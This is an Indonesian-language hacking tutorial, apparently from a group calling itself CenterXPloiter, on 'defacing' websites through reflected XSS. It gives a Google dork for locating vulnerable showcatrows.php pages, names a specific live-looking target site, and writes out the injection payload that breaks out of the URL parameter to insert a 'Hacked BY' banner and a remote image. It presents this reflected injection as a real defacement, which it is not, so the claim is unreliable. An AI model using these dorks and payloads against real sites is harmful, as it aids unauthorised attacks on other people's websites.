*#Halo saya Tn./BE64L*
_Ingin mengasih materi tentang cara deface poc xss ok langsung aja_

*POC XSS*

Sebelumnya udah pada tau belum apa itu XSS Vulnerability? XSS Vulnerability adalah suatu cara memasukan code/script HTML kedalam suatu website dan dijalankan melalui browser di client. Ok deh, Langsung aja kita bahas bersama Cara Deface Website Menggunakan Teknik XSS Vulnerability ini !

Oke pertama kalian dorking di Google

Dork : inurl:"/showcatrows.php?CategoryID="
       (kembangkan)

Contoh web yang gw mau deface :
http://scriptreseller.com/showcatrows.php?CategoryID=2

Jika sudah masuk ke halaman web target, kita modifikasi sedikit URL web target dengan menambahkan tanda " dan > setelah angka, tepatnya pada akhir URL. Lalu tambahkan kode HTML deface kita.

Contoh: http://scriptreseller.com/showcatrows.php?CategoryID=2
"><marquee><h1>Hacked BY Tn./BE64L</h1></marquee><img src="http://dc126.4shared.com/img/ImIRAZe0/s3/bendera_indonesia.gif

Kemudian kalian tekan enter

Selesai, DUARR!! Website sudah berhasil kita deface :D

Triknya memang cukup simpel, dimana kita memanfaatkan celah keamanan pada XSS sebuah website dengan memasukan sebuah code/script HTML.

Oke Tutorial Deface Poc Xss nya sampai sini aja
Thanks to : All Member CenterXPloiter